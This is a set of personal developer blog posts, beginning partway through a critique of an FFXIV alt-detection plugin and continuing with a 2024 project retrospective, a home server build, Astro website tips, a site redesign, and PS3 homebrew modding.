This, of course, allows a dangerous deanonymization technique. If you scrape enough players, you can correlate their account IDs together, and detect alts of players. That’s where PlayerScope comes in - it does that! Of course, this can only be done with crowdsourcing or botting, and the plugin relies on the former. Part of the reason I’m so annoyed at this news cycle for how “dangerous” the plugin is comes from the fact that the plugin relies on it being known and used. By writing this, I am of course getting that knowledge out more, which I recognize myself and apologize for.

For the record, PlayerScope is distributed in a custom plugin repository. Even if the Dalamud team doesn’t approve of the plugin idea, users have developed the habit to automatically trust the repository, and they know how to find and enable it. This is an unfortunate series of events based on the fact that we taught the general public how to use these repositories to get to Penumbra/Glamourer/Mare, and they wouldn’t have been accepted (or wouldn’t have been submitted) to the official repository.

I don’t really care about the project itself - this was going to happen eventually - but what concerns me is the public’s reaction. The blog post from Dalamud maintainers says “Any tool capable of reading game data (e.g. Cheat Engine) or sniffing network data (e.g. ACT, Wireshark) is able to grab and extract these values” - which is true, but it undermines the validity of packet capturing for the sake of reverse engineering or archival. This has put a lot of people in panic about what data is being sent or received from the server, which worries me for the future reception to archival projects.

Of course, this now has the community asking “why can’t Dalamud just stop PlayerScope?”. There’s a lot of ways to answer this question, but the easiest one to explain is that you can’t really stop someone who’s dedicated. Dalamud is completely open source, and it would be trivial to bypass any “block”, which would just evolve into a cat and mouse game. While I was able to fight it with GShade, Dalamud developers do not have the time or immaturity to do that, and the events of GShade were only in my favor because I was dealing with an irresponsible developer.

This is what I meant earlier by custom repositories and questionable morals. This openness in a community is a good thing, but bad actors will always exist. If this outlet did not exist for them, they would fork Dalamud or build another tool. There’s also questions about why plugins are able to even see that data, and that’s because it ends up in memory which we have full control over - attempts to sandbox plugin APIs and block free memory access have been proposed, but none have gone through, and likely never will due to how much flexibility it removes for plugin developers.

Last I’ve heard of PlayerScope, the developer “really appreciate(s) the interest” and is working to make it an actual public plugin (this entire drama came from a private version of the plugin!). The developer’s identity is mostly unknown - the GitHub account seems brand new, but the username seems to have matches on other sites, particularly on MyAnimeList where the account has marked Hitler as a “Favorite Person”. Jesus Christ.

How this could end

This entire scenario is a sad intersection between the normalization of third party tools and how much they annoy Square Enix. The exploit is the fault of Square Enix’s, in my opinion, but they probably won’t care about fixing the blacklist system. What they will do is unknown, but there are a few options I can envision:

The plugin dies down and nobody cares anymore.
Square Enix kills Dalamud in some way. They have many ways to do this, from adding client-side anti-cheat, to adding some basic obfuscation in their build system, to turning on a compiler option that’ll ruin our work. There are several ways to kill Dalamud that doesn’t involve anti-cheats, though!
Square Enix fixes the blacklist system, treating it as an exploit. I find this unlikely, given that the exploit is the result of a third party tool, and it’s likely more efficient for them to just kill the tool.
The developer continues maintaining the plugin, and it gains popularity. Like other third party tools, it is mentioned carelessly in chat, furthering the infestation of third party tools into Square Enix’s userbase.

Square Enix does not like third party tools - their statement from TOP should tell you that enough. Their stance has always remained fairly neutral, though. Most of their efforts go towards tools they don’t like existing (e.g. opcode shuffling to make ACT harder). They have expressed not wanting to add invasive software into FFXIV in an attempt to detect third party tools, and the most the client really has for anticheat is ACLs and a check for debuggers.

The more drama we cause and the more things Square Enix has to deal with, the worse. We do not know what their threshold is, and none of us certainly want to find out. This is what makes me so upset about this entire discourse - we have slowly normalized the use of plugins in FFXIV, and now we must pay for it, as each time we slowly interfere more and more with Square Enix’s game.

I spent several years of my life dedicated towards building software for FFXIV because I love it, and I would hate for that work to vanish. I wrote this post not to specifically call out the behavior of this specific plugin (even though that’s the hook), or to say we are approaching FFXIV Doomsday, but rather to express my frustration at the state we’ve gotten ourselves into. I hope our projects live on, and I hope the state of things improves.

Reflecting on 2024

Mon, 30 Dec 2024 00:00:00 GMT

I did a lot of things this year. In 2023, I had 2,556 contributions on GitHub, and I’ve only slightly undershot that this year. Last year, I wanted to reflect on the projects I made each year, but never got around to it. This time, I’m finally sitting down and doing it!

January

I spent New Years Day working on helper scripts for ReGenny, a reverse engineering tool. I had to write a bit of C++ to add some features into the project. I don’t write C++ a lot, so I was really nervous about doing this, but it turned out okay. It was a bit of an omen writing C++ on the first day of the year, as I had to spend a lot of time touching C++ projects this year, and I really hate C++.

On the 9th, I made htmlua, a shitty way to make websites with Lua. This kind of thing is demonstrated casually by people on how to build DSLs in Lua/Kotlin/similar, but I turned it into an actual library with component support. It was pretty fun to work on, but nobody’s ever actually used it. I did get a spam PR for it once, though!

On the 10th, I made OfDungeonsDeep (which is now maintained by Khayle), which was the first spiteware of the year. Spiteware is defined as software written for the express purpose of spite. I don’t actually like FFXIV Deep Dungeon - I just did it because I was annoyed at the developer of the existing Deep Dungeon plugin’s decisions and bugs.

On the 17th, I made a save editor for Bomb Rush Cyberfunk, written in React. This wasn’t a very good project, but it served as a useful reference for the WEBFISHING save editor later in October. I ended up not really liking the choice of React for this project, since I modeled the save as a class, and data binding the class with reactivity was very annoying (I ended up solving it with jank force refresh hacks that I shouldn’t have done).

I also made a Mastodon client that uses ImGui the day after (goes to show how fast I bounce around projects). This project was really unfinished and quite bad, but I ended up taking the idea further for ImSky with Bluesky.

On the 25th, I made decky-totp, a simple plugin for Decky Loader for the Steam Deck. I wanted to show my TOTP codes for FFXIV without having to get my phone every time I started it on my Steam Deck. While I was making this, I got upset at several aspects of the Decky ecosystem (for example, the C backend was extremely weird and unneeded).

On the 27th, I made a first person mod for Bomb Rush Cyberfunk because someone asked for it. The implementation was very janky, but it worked, and it was quite funny to play with.

On the 28th, I published 0.3.0 for skindl, a downloader for Bomb Rush Cyberfunk character mods. I wrote this late December because I needed a project to get used to my new keyboard with, so it doesn’t count as “made”, but I wanted to include it anyway!

On the 31st, I made PoloTweaks, a collection of tweaks for Bomb Rush Cyberfunk. This never went anywhere, but I wish it did - there’s a lot of fun stuff there for extending it!

February

On the 4th, I published my first blog post of the year - Converting Minecraft maps to Half-Life 1. If you haven’t read that post, go do it now! It was a blast to work on. I forgot to ever upload the map anywhere, though… Oops!

On the 7th, I started work on my Bomb Rush Cyberfunk VR mod. Like my other mod, Slop Crew, this one had a lot of trouble with Thunderstore’s malware filters. Thankfully, I didn’t deal with those filters when making GDWeave in October. I ended up losing interest before getting it into a complete state, but it’s still there on Thunderstore if anyone wants to try it.

On the 19th, I started playing on a friend’s Minecraft server, so I wrote a Discord to Minecraft bridge for that server. This server ended up consuming a lot of my time (even visible on my GitHub graph!), and I ended up shifting gears from Bomb Rush Cyberfunk to Minecraft for a bit.

On the 23rd, I made enderdragon, a shitpost adding Ghidra into Minecraft - my third most starred repository as of writing, but it deserves none of those compared to the top two.

March

March was a chiller month for me, in comparison. On the 6th, I started an XMPP client, but it went nowhere as the protocol sucks to work on. I’d like to revisit it someday, but I’m not convinced Tauri is a good choice for it anymore.

On the 17th, I made Temporal Stasis, a FFXIV network proxy library. This project hasn’t been useful for a while, up until this month, where my friend Asriel forked it to scrape FFXIV datacenter travel information.

On the 18th, FFXIV removed 32-bit support, so I made a PR fixing XIVLauncher for it. This PR was very sloppy because I was very tired, so the comments are a bit embarrassing to look at. I also got my Framework Laptop that day, which I’ve loved since - even installing a new screen for it this Christmas!

Towards the end of the month, I wanted to add Flash games to FFXIV, but it went nowhere because I didn’t know what I was doing with wgpu. A feature request that would’ve saved this project is still open today…

April

For April Fools, I only really helped with the Dalamud team’s joke - turning plugin icons into horses. It just involved a lot of Photoshop.

On the 7th, I made up for my failed Flash game project by adding emulators into it instead. This code was only possible because of karashiiro’s Simulacrum serving as good reference.

On the 10th, I was working on a FFXIV wiki that was 100% generated through data, but it didn’t go anywhere. Probably would be easier with boilmaster now existing.

Late on the night of the 10th, I started work on an unnamed FFXIV datamining project with some friends, in preparation for the Dawntrail benchmark that would be releasing soon. If you’re one of the few that helped me with that: thanks! You guys are the best.

On the 20th, I made benchtweaks, porting the features of some plugins to the benchmark (like removing letterboxing and a simple file replacer). It’s written in Rust, and I hated working in it, because Rust can’t do offsets in structs properly.

On the 22nd, I made Magia, a C# library for game modding. This never really went anywhere, but I still want to pick it up and make it fast someday. Right now it can randomly access violation for reasons I don’t understand. Whoops!

On the 28th, I made GobboCam, which you can read about in this blog post. I’ve fallen behind on posting there in recent months…

May

On the 2nd, I finally published my blog post about my Framework Laptop. It was sitting in my repository for months collecting dust, and I forgot to publish it until I just saw it one day when cleaning up the blog.

On the 3rd, I made moondust, a simple application to strip Luau type hints. This isn’t a great solution for writing typed Lua, because Luau has some extra language changes, but it’s nice for quick stuff.

On the 14th, I started playing Rabbit and Steel. I traversed through GitHub to find a GameMaker modding toolkit that wasn’t bad, until I stumbled upon YYToolkit. YYToolkit is the only good GameMaker modding tool I’ve seen so far, because they actually understand modifying a singular data file is not a feasible way to make mods. I made some mods for it, but eventually abandoned it in favor of writing my own using Reloaded II, because I didn’t like C++. Nowadays, that’s maintained by some other people, who I have endless thanks for keeping it going.

I also found a bug in a Reloaded library and was continually amazed by how fast Sewer56 merges pull requests.

June

June was a not-so-busy month for me due to the release of FINAL FANTASY XIV: Dawntrail. To prepare for a lack of plugins, I made a packet archiver with the Chronofoil format using Temporal Stasis. That’s some absurdly long text for a link.

Most of this time was spent playing FFXIV or datamining it, so there’s not much to talk about here. The two-day maintenance really threw me off time wise…

The one thing of note I did work on is rewriting my plugin Linkpearl to be nicer. A pull request I merged for a rewrite really messed up the code quality, so I did it but better.

July

I spent most of the beginning of July updating FFXIV plugins. I also switched to Binary Ninja as my decompiler, and wrote a signature scanner and added support to our FFXIV reverse engineering database for it.

I got a new server, which I named “electrope” after the new FFXIV expansion, and set it up using Rocky Linux and Docker. I go into this setup a bit more in my home server blog post.

On the 20th, I made a FFXIV damage overlay using FFLogs’ DPS parser. This upset FFLogs, understandably, and I ended up shutting the project down soon later. It was really fun to work on, though, and I’m thankful that people liked it while it lasted.

I closed off the month by working on GameNetworkingSockets bindings for C#, which I never finished. Whoops!

August

In August, I wrote another blog post about the PS3. This is my favorite blog post that I wrote this year - if you haven’t seen it yet, go check it out! I ended up making some friends in the PS3 scene from it, which was nice.

Beyond that, not much happened, as I was more focused on my girlfriend visiting me this month. We did end up going to a King Gizzard & The Lizard Wizard concert, though!

September

The 1st was my birthday! I turned 18, which was weird to think about, given I’ve known a lot of my friends since I was a wee little teen. Most people know me as the youngest person in the relevant community, and so I gave them a bit of a heart attack by saying that I can [insert boring adult thing here]. My friends celebrated my birthday by playing TTT in Garry’s Mod.

On the 4th, I published my rewrite of Alpha, which was sitting unstaged since last Thanksgiving. I lost motivation to work on it, but I ended up finding it, which I’m happy about.

On the 18th, I started work on a personal desktop wallpaper program tool in the style of Wallpaper Engine, but never finished it. It had a lot of fun features like a media player, todo list viewer, calendar, and system usage graphs.

I got into a bit of a Satisfactory kick this month (with its 1.0 release), and made a mod for it to send statistics to Grafana. Someone ended up making a “better” version of this plugin, but it was still fun to work on, and I got to farm like 10 Reddit upvotes. While working on it, I had to debug an issue with the Satisfactory modding toolchain, which luckily involved C# (my favorite language). Did I say I hate writing C++ yet?

I reinstalled Windows this month, after several years of using the same Windows install, and ended up getting new drives. There’s a lot more I would’ve added to this post if I had all the source code to recount dates, but unfortunately they’re on hard drives that aren’t connected anymore, so it’s a bit of a pain.

On the 23rd, I redesigned my website (you’re probably reading this post on that design), and wrote a blog post as tradition.

October

October was my most active month by far. I’m not really sure why, but it sure was fun!

There’s so much action here that I won’t even bother dating it. I released not one but two major releases for my Discord client mod moonlight. This was a very nice speedup from the lack of updates over the month, and I now use moonlight on my main Discord client to force myself to fix things if they break.

I also made GDWeave - a modloader for Godot games - for WEBFISHING. I spent a lot of time in that community making mods and save editors and mod packagers and wikis and such. The game now sits on Thunderstore, where the moderators were very kind to me this time around.

I also found remote code execution in WEBFISHING (with the help of my friend Katie), which I had a blog post and everything written for, but scrapped it due to the developer’s request. I accidentally published a draft of this through my RSS feed, so if you got to read it, I hope you liked it (lol).

November

Continuing the WEBFISHING trend, I added support for GDWeave into r2modman. This was really fun to work on, and I have a lot of thanks for the developers of r2modman/Thunderstore for being so patient and helpful with me. Working on r2modman required me to touch ancient Node.js versions, so now I use Volta.

I wrapped up my hyperfocus on moonlight with RoboJules, a tool to review pull requests for moonlight extensions.

On the 16th, I made a pastebin but never did anything with it because I realized hosting pastebins on the internet without any access controls is kind of a bad idea.

On the 19th, I made a (really barebones) FFXIV server emulator in C#. This never went anywhere because of concerns matching retail, but it had a lot of cool features - including supporting multiple versions in one branch! I’d love to continue work on it someday, but server emulators are hard to work on and I don’t really want to work on it in general given it’s a bad idea to have stuff like that for the retail game client.

Towards the end of the month, I began work on reviving Twitch Plays FFXIV (that was me by the way), but I haven’t set it up fully yet. Maybe soon!

To close the month off, I made rogue, helper scripts for FFXIV in Binary Ninja that were much better than the original ClientStructs PR I made earlier this year.

December

I got a new home server, and expectedly, wrote a blog post about it. This project took up several weeks of my time, so it’s a good explanation of what I did during December.

I also spent Christmas at home with family, and got new monitors for my main computer. My only pet project this month has been Steam Timelines support for FFXIV, which is an excellent break from the chaos of October and November.

I spent the last week of the year getting into Old School RuneScape, for some reason. I completed every free to play quest!

For 2025

I want to do a lot more in 2025, and hopefully build more software that makes people happy. In 2023, my biggest project of the year was Slop Crew, and this year’s project was GDWeave. Maybe I can do something better for next year? In any case, this year was definitely worse than last year, but not by much.

People tell me my work ethic is a bit unusual, and I never really got it until after writing this blog post. Reflecting on the things I’ve done, it kind of demonstrates that I never really sit down and focus on something (haha ADHD go brrr), I just bounce between what makes me happy. Burnout doesn’t really seem to exist for me as much as breaks - after all, it’s been about three years of building software actively and I still love it. This’ll probably change when I get a job, because right now this is all hobby stuff.

Thanks to all my friends and family for supporting me this year and giving me so many opportunities. Thanks to everyone who donated to me this year on GitHub Sponsors. And, most of all, thank you for reading and caring about what I’ve been up to this year! I hope it’s been an interesting read seeing all I’ve done.

Building a new home server

Sat, 21 Dec 2024 00:00:00 GMT

A few days ago, I got an email from my server running Proxmox:

well that's not good

[image or embed]
— NotNite (@notnite.com) Dec 8, 2024 at 3:31 PM

One of the drives was showing signs of failure. This was bad for me, as this drive was part of a RAID group that I mistakenly set up to be RAID 0 several years ago. I realized it was RAID 0 after I got this email. Whoops!

I was wanting to build a new server + NAS combination for a while, so this seemed like a good opportunity to do it, but with some extra time pressure spice on top of it. Let’s talk about it!

The NotNet server saga

The first server I ever owned was a hand-me-down from my dad’s workplace. It was an old Dell OptiPlex, and it could run a web server and a really limited Minecraft world before running out of resources. Later that year, I ended up buying a Hetzner dedicated server, which would host most of my projects. I strived for something more local, though - some place that I could experiment with, and more importantly get better ping to. Enter one Christmas day, where I was able to build my own home server. This is the one that this website was hosted on, up until today!

Eventually, I started using NixOS instead of Debian for the LXC containers in Proxmox, and I quickly learned that it was a big mistake. This caused me lots of grief with bugs in the integration and a general feeling of instability - especially when there was practically no way to test service changes locally. I also encountered issues where my Mastodon instance couldn’t update to patch a CVE because nixpkgs didn’t support that version of Yarn lockfile at the time.

I ended up buying a second Hetzner dedicated server, installed Rocky Linux on it, and started using Docker for everything. Instead of using Kubernetes or Docker Swarm, I just use some Docker Compose files with a bit of shell scripting to glue it all together + do backups every day. I don’t need that complexity, and this is very easy to test locally. I’m still in the progress of migrating everything off of the first server 🥲.

I chose Docker over Podman because Docker Compose is battle tested and podman-compose seemed iffy. I would prefer the ability to make rootless containers, but I really wanted to be able to use YAML to declare stuff instead of whatever the hell a Quadlet is.

The layout of the files is like this:

composes/
  (stack name)/
    compose.yaml
    (optional config files, like a Caddyfile)
scripts/
  (misc shell scripts for server administration)
  update.sh
  backup.sh
volume-exclude.txt

Every day, a systemd timer runs backup.sh, which backs up the folders in the volumes directory using BorgBackup. Every 30 minutes, another systemd timer runs update.sh, which pulls the latest changes from a Git repository and pulls/rebuilds the latest versions of every container.

This system has a lot of flaws, but it’s the one that works best for me and my use cases. While it does make running services for other people a lot more inconvenient, I wanted to stray away from doing that anyway, and keep my services to only myself. Things that I have to maintain that don’t impact me stress me out, and I don’t need that in my life.

I ended up taking that repository, modified the paths/names on it, and used it for the new server. Now, let’s get to setting it up!

OS & storage

The machine is an old gaming PC of mine, with an i7-8700 with 32 GB of RAM. It also has an RTX 3060 in it, because it used to be a server for AI workloads, but I no longer have interest in the AI sector of technology in the slightest after seeing how terrible it has become. (That’s a blog post for another day.)

As with my latest server, I chose Rocky Linux. I have increasingly warmed up to RHEL-land and dnf (especially after using Fedora on my laptop), and a friend suggested it to me, so I thought why not. I’m going with the hostname “cabbit” - a portmanteau of “cat” and “rabbit” - because I was thinking about cabbits while flashing the installation ISO.

The rootfs will be a 2 TB SSD from a previous project. After installation, I installed Docker and set up the infrastructure user. There was a problem, though - I noticed that the installer only allocated 70 GB for the rootfs, while the rest of the almost 2 TB went to the /home partition! I ended up finding a GitHub Gist on how to delete the home partition and resize the root, so I did that (with some help from the comments when I encountered an error message).

After all that, I just had to wait for the drives to arrive. We’re going with 4x14 TB hard drives - WD Reds - in a ZFS cluster. I picked ZFS because it seemed the most stable and I had very little experience with it, which I wanted to sharpen my skills with. I picked one up from the local Micro Center and ordered the other three online, so the chances of having multiple from the same batch was less.

After Newegg delayed my drive through the weekend, I got the drives installed and set up a ZFS pool & filesystem with raidz2. I chose the name “poolian” because it’s funny.

I went with the following structure on disk:

volumes/
  (various folders for Docker bind mounting)
media/
  (shared folder for family files)
samba/
  (per-user samba shares)

I set up a Samba share for me and my dad, and then started working on the first service to be deployed (a Jellyfin instance).

Deploying Jellyfin over Tailscale

I love Tailscale a lot, but never really used a lot of its potential. I wanted to try serving some internal services in my home (Jellyfin, Home Assistant, etc.) through it. I ended up finding caddy-tailscale, and it seems like a perfect fit - I can create ephemeral nodes that proxy to other services!

My composes follow the prefix of type-service, so web-caddy for websites. For these internal things, I adopted the internal type, so internal-caddy and internal-jellyfin and so on. After stealing a Dockerfile from a GitHub issue, configuring the Caddyfile was easy:

{
  email redacted
  tailscale {
    ephemeral
  }
}

:80 {
  bind tailscale/jellyfin
  reverse_proxy jellyfin:8096
}

Then, I just had to make an internal-caddy Docker network and put the Jellyfin container into it. I also exposed the port through Docker to the LAN, so devices like smart TVs don’t need a Tailscale connection.

As said before, this machine also has a GPU in it, so I was able to connect it to Jellyfin for hardware encoding. I already had the NVIDIA drivers installed, so I just had to install an extra package and run a command to set up Docker support, then edit the compose.yaml to use it. There’s a full tutorial on Jellyfin’s documentation site which does a better job at explaining it.

Moving the rest

I don’t want to have any downtime, so I copied my NGINX configs into Caddy 1:1 and copied the website directories over. The idea was that I’ll just change the port in my firewall, start Caddy, and it’ll reverse proxy to the old existing services until I can Dockerize them. I was very pleased with how easy and readable the Caddyfile config for this was!

I changed the destination address in my firewall, started the service, and… it just worked? Nice! Literally everything worked first try, which I’m very happy with.

I first moved Forgejo and the LDAP server that it uses. Moving the LDAP server was fine, but the export from the gitea dump command didn’t actually line up with either the paths on disk or in the Docker container, which was very confusing. I spun up a test instance of the Docker container and compared the filesystem to figure out where to put everything, and had to do some config file surgery for the data directory and missing fields that were only in the Docker container.

There’s a lot of stuff that wasn’t properly declared through Nix on the old server - one off services that don’t need to be running for long, or things that are more personal projects. Moving these was mostly easy, because not being bound by Nix makes it easy to do things the non-Nix way. I can just install and run Rust instead of needing to pop open a Nix shell or modify the environment. It’s simpler for quick hacks, and that’s the point.

Could I have declared them? Yes - at a cost. The services need to be reachable to build (= in a repository that’s either public or has access configured). It required me to write NixOS modules for everything. This just isn’t worth it for a personal Discord bot or an eightyeightthirty.one scraper node - these aren’t important enough with my time for me to Nix-ify it.

That’s my real gripe with Nix - it works when it works, but breaking out of that declarative box is so hard, especially with how running executables works with the interpreter. The ecosystem is designed intentionally to force you into doing everything the Nix way, for better and for worse, and the worse parts bit me far more than the better parts. I have a lot of respect for people who have the time to configure it, but I don’t want to be doing that for everything.

The results

Things… just work! I started drafting this blog post shortly before I built the machine, and it’s been around a week since as I type this paragraph. ZFS is eating a lot of memory, but it’s not a huge concern. There’s a few services I have yet to migrate which I’ll probably kill off:

hast =), because running a paste server that anyone can use is a liability
The Lounge, because I use Quassel now for IRC
Some misc game servers that haven’t seen users in months

I’ll be taking a backup of everything that I care about and shutting it off for good sometime soon. Overall, I’m really happy with this move - server maintenance is a lot less stressful for me now. The storage will come in handy for my family, and I’ll probably be lending some storage space to some close friends with BorgBackup.

Onto worrying about migrating my Hetzner machines…

Tips on making a good website with Astro

Wed, 25 Sep 2024 00:00:00 GMT

Astro is my preferred framework of choice for making websites. Here’s a few tips I learned, particularly so I can link this to my friends when they ask me how to make a website in the future. These are ranked from most important to least important.

Follow the Astro blog tutorial

Astro has a very good blog tutorial that teaches you the basics. Go try it!

Skip their suggestion for Netlify and pick a good hosting provider.

Pick a good hosting provider

Don’t get scammed by “serverless” providers that have hidden fees. Use something simple. My suggestions are either host your static files on a VPS or use GitHub Pages.

Use a content collection

For blog posts, Astro.glob works, but it doesn’t let you do much with it. I suggest setting up a proper content collection. Here’s mine:

// src/content/config.ts
import { defineCollection, z } from "astro:content";

const blog = defineCollection({
  type: "content",
  schema: ({ image }) =>
    z.object({
      title: z.string(),
      description: z.string(),
      date: z.date(),
      cover: image().optional()
    })
});

export const collections = {
  blog
};

Structure your layouts well

Personally, I have a main Layout.astro with the main site layout, styles and all, with a slot in <main>.

You can make one for rendering pages written in Markdown:

---
import Layout from "./Layout.astro";
---

<Layout {...Astro.props.frontmatter}>
  <slot />
</Layout>

Then add layout: "../layouts/Markdown.astro" to the frontmatter.

Set up a RSS feed with containers

The experimental Astro Container API allows you to render your Markdown into HTML which can be embedded into your RSS feed. This significantly improves the experience in feed readers.

First, set up RSS. Make sure to add the link for RSS auto discovery. Then, use the code in my gist to render the RSS feed.

Setup MDX

With MDX, you can use your components in your Markdown files. I have one for a video player and a little info box for quotes. See the entry on the Astro docs.

If you plan to lint this, see my comments about MDX linting.

Create an 88x31

88x31s are small badges, usually linking to other websites, that usually promote some sort of person/project/program/etc. My website has a ton of them!

My friend Ari has some good notes on how to make a good one. You can use any image editor you’d like as long as you can set the size. (Why a specific size? It’s Geocities’ fault!)

Ask your friends to add your 88x31, and if you can add theirs. When adding 88x31s, avoid letting Astro process them, as it can ruin the quality. Put them in your public/ directory raw (I do public/buttons/).

TypeScript import aliases

Turn this:

import MyComponent from "../../components/MyComponent.astro";

into:

import MyComponent from "@components/MyComponent.astro";

See the entry on the Astro docs.

Set up formatters

Personally:

Prettier for formatting
- Install the Astro plugin
ESLint for linting
- Install the Astro plugin and the Prettier config
markdownlint for Markdown

I would like to lint MDX, but remark just seems very bad (especially with dependency management and linting codeblocks), so I just write code with my editor set to vanilla Markdown and write the MDX imports by hand. Suggestions welcome!

Redesigning my website

Mon, 23 Sep 2024 00:00:00 GMT

Today I redesigned my website. If you’re reading this, it’s probably that new website! Let’s talk about what changed and how I did it. (This one will be a short one.)

Motivations for redesigning

Add better accessibility features
- Many people have complained about the colors, font, and layout. Let them change all of them
Fix the janky CSS the current site relies on
- Fun fact: On the old site, you could scroll to extra whitespace on the side on Firefox Mobile, and only Firefox Mobile for some reason
Clean up the messy Markdown plugins
- I use a few to fix some quirks in the rendered Markdown output, but I want to not rely on it anymore
Having fun!

Picking a framework

This site, along with my “old” site, is Astro. I like Astro for a number of reasons:

Simple component model with slots
Static site generator by default
Mix in other JS frameworks (e.g. Svelte, which I did!)
You can write TypeScript

I ended up making a new project but I copied over 90% of the files, so I’m not really sure if this can be considered a “new” site. Was it a new site when I switched from Zola, taking the layout with it, even though it was an entirely new backend generator?

As I said above, I enabled the Svelte integration for some dynamic components (which we’ll talk about later).

Redoing the styling

My old CSS was a mess with hardcoded sizes and calc everywhere. To make it more simple, I’ve ditched a majority of my headaches with the main container with some sizing fixes, along with using CSS variables to calculate the sizes that I need to hardcode. I used Sass to automatically generate some of the annoying bits.

New features

At the top of your screen is a nice path showing what file you’re in. You can click on each folder (or the root “notnite” node) to get to where you want to go.

The real star of the show, though, is the new theme button. Click on it to open a panel. This panel stores configuration in localStorage, and can change CSS classes on the fly. It’s the only part of the website that uses Svelte so far.

This was the hardest part of the entire redesign, and the main focus of it.

Applying themes without looking bad

The biggest issue was that the themes need to be applied before the page loads, or you’ll get a flash of the wrong color, which can be very disorienting. To solve this, I wrote some JavaScript at the root of the body tag marked with defer. It sets up the defaults and exposes some functions in the window object so the Svelte component can also set the theme.

These exposed functions are hacky, but it works. This even means you can use them! Try running this in DevTools:

window.__notnite_theme_set("color", "nitelight");

I also manually edit the source URL of the Giscus frame when the color changes, so that it stays in sync with the theme of the site. Giscus, if you are unaware, is the comment section at the bottom of this blog.

Using the theme in CSS

With the classes at the root of the body, it’s pretty easy to apply them to other elements:

.fontInconsolata {
  --font: "Inconsolata", monospace;
}

.fontInter {
  --font: "Inter", sans-serif;
}

.positionRight main {
  text-align: right;
}

$sizes: (
  "Normal": 35rem,
  "More": 50rem,
  "All": 100%
);
@each $size, $value in $sizes {
  // --size is needed on multiple components for proper sizing
  .size#{$size} main,
  .size#{$size} > .container,
  .size#{$size} > pre,
  .size#{$size} > img,
  .size#{$size} > video {
    --size: #{$value};
  }
}

Functioning without JavaScript

Because this site is written with Astro, JavaScript is optional. If you have JavaScript disabled, I hide the settings button and replace it with an identical button that’s greyed out:

<noscript>
  <button><!-- .... --></button>

  <style>
    .a11y {
      display: none;
    }
  </style>
</noscript>

<A11y client:load />

The body has a noscript class on it that sets default themes, accounting for the prefers-color-scheme value. When the site loads with JavaScript enabled, the class is removed and the “real” one from localStorage is applied. I used Sass to generate the defaults:

// Color defaults
.noscript {
  @each $key, $value in $nitefall {
    --#{$key}: #{$value};
  }
}

@media (prefers-color-scheme: light) {
  .noscript {
    @each $key, $value in $nitelight {
      --#{$key}: #{$value};
    }
  }
}

// Color themes
.colorNitefall {
  @each $key, $value in $nitefall {
    --#{$key}: #{$value};
  }
}

(Also, that codeblock syntax highlighting looks pretty bad, I’ll get around to wrangling Prism with better colors later.)

Final product

You’re looking at it! If you find any issues, feel free to leave a comment below, and I’ll try and fix it when motivation arrives. Here’s hoping it’s stable…

One week modding the PlayStation 3

Tue, 13 Aug 2024 00:00:00 GMT

I recently bought a PlayStation 3. In 2024. No, this isn’t a joke.

I was tired of emulating games on RPCS3 and figured that it was an interesting avenue for homebrew. Despite the saying that the PS3 “has no games”, there were a lot of interesting games I wanted to play, and I wanted to write code for it given the PS3 architecture is more similar to a supercomputer than a video game console.

After consulting the lovely ConsoleMods.org buying guide, I ended up picking up a 21XX series Slim model. I installed Evilnat 4.91 CFW on it and put an old 1TB SSD laying around in it (yes, it’s a bit of a waste since SATA 1, but it is an improvement no matter what).

It’s a lovely little console, and I’ve been enjoying it heavily (Skate 3 has consumed my life), and I wanted to talk about the week I’ve spent learning about it.

Initial setup & first impressions

Even though I am two months older than the PlayStation 3, I never actually owned one before. Growing up, I had a Wii (a quite early model!) and a Xbox 360 E (the final revision that looks sorta like a Xbox One), but I didn’t really play a lot of unique games on there. I played a lot of Mario Kart Wii and the LEGO games with my dad, Minecraft with my school friends, and Portal 2 as the first singleplayer game I beat; but I didn’t explore much of the library in the seventh generation of consoles.

I’ve homebrewed my Wii and played around with it before, but I didn’t find it that interesting. I haven’t played a game on my Xbox 360 in years (all Xbox modders reading this post: get to work on those hypervisor exploits), just turning it on to look around once or twice. (Also, my Xbox 360 once had its internal storage corrupt and I lost all my saves, so that doesn’t particularly motivate me…)

So, what is the console like? What is homebrewing it like? Well, I turned on the console for the first time and set it up. The previous owner updated it to the latest version and factory reset it before I purchased it, so I was already on 4.91 and ready to hack it. I followed the ConsoleMods.org guide, knowing that I verified the console’s serial number before purchasing it, and used PS3 Toolset to dump the NAND & patch the flash.

This step is very easy to do - you just have to go to a website on your PS3, watch in horror slash amazement as it somehow scans process memory of your PS3, and then hit a few buttons. Then, to install CFW, you just plug in a USB drive and install the firmware from it! A very handy feature of the PS3.

I also grabbed webMAN afterwards, and then it was pretty much done. Some thoughts on the actual PS3, though:

I really like the XMB and how it’s laid out. I never owned any PlayStation console myself, just playing on my friends’ consoles, so being able to actually use it feels very nice.
The concept of theming is so cute! Apparently you can make custom themes on the Internet using a tool Sony published, and I guess there’s a GUI wrapper for it that can do sound effects somehow. I tried making one using the FFXIV UI assets (since the actual FFXIV themes are kinda bad) but the sound effects were too loud. Damn you SE_UI.scd.
That startup sound is good.

Baby’s first homebrew

There are two toolchains people use in the PS3 community for making homebrew:

The official Sony SDK (leaked to the public) which I will not be linking for obvious reasons
ps3toolchain and PSL1GHT

The commits on these repositories already look a little sad. Commits are few and far between and usually just fixes that were PR’d. But let’s not lose hope!

ps3toolchain is designed for a Unix-like environment, but I use Windows on my desktop. I could’ve tried it through MinGW or used WSL, but my MinGW install is currently broken and my WSL doesn’t have internet (average day on my computer), so I just got out the laptop that is so laptop.

It failed building the first try because of my Python install lacking a library. One line removal from my Nix config and sudo dnf install python3 later (this is what I get for using Nix), it seemed to just work. I made a little shell script to set up the environment variables and launched CLion through a terminal.

Now, uh… this is where things go downhill. CLion was doing a bad job at understanding the toolchain and Makefile. I wanted to switch to a better build system, so I tried looking for CMake. There’s a PR for it, but the executables built with it don’t run.

Great. I tried making the CMake project myself, and ran into the same issue. Also tried Meson instead, and same issue. After a quick necropost I got “I did not, sadly” in response to asking if this was fixed. The PR remains closed as of today.

This is a rocky start, but these are quality of life features, not absolute dealbreakers. With a normal Makefile, the programs still compile, so I guess I’ll just write code with a partially broken IDE.

The samples built and ran on RPCS3, but I didn’t care enough to try them on console. Now, let’s start talking about what I really wanted to focus on: modding games!

What the hell is an EBOOT, anyway

It seems like most developers hang out on a forum called PSX-Place. I don’t want to make an account for it, but browsing around and looking at the dates of posts already gives me the feeling I’m walking into a place far before my time. It’s the same kind of feeling I got playing FINAL FANTASY XI - this place, and the golden ages of its existence, was far before I even knew of it.

